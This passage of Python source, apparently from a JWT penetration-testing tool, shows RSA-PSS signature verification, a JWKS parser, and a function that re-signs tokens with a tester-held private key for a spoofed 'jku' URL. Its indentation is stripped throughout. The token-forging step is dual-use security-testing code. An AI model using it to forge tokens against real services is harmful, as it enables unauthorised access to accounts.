pass
try:
sig = base64.urlsafe_b64decode(sig+"==")
except:
pass
elif "+" in sig:
try:
sig = base64.b64decode(sig)
except:
pass
try:
sig = base64.b64decode(sig+"=")
except:
pass
try:
sig = base64.b64decode(sig+"==")
except:
pass
else:
cprint("Signature not Base64 encoded HEX", "red")
if headDict['alg'] == "PS256":
h = SHA256.new(newContents)
elif headDict['alg'] == "PS384":
h = SHA384.new(newContents)
elif headDict['alg'] == "PS512":
h = SHA512.new(newContents)
else:
cprint("Invalid RSA algorithm", "red")
verifier = pss.new(key)
try:
valid = verifier.verify(h, sig)
cprint("RSA-PSS Signature is VALID", "green")
valid = True
except:
cprint("RSA-PSS Signature is INVALID", "red")
valid = False
return valid
def exportJWKS(jku):
try:
kid = headDict["kid"]
newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, config['crypto']['privkey'], kid)
except:
kid = ""
newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, config['crypto']['privkey'])
return newContents, newSig
def parseJWKS(jwksfile):
jwks = open(jwksfile, "r").read()
jwksDict = json.loads(jwks, object_pairs_hook=OrderedDict)
nowtime = int(datetime.now().timestamp())
print("JWKS Contents:")
try:
keyLen = len(jwksDict["keys"])
print("Number of keys: "+str(keyLen))
i = -1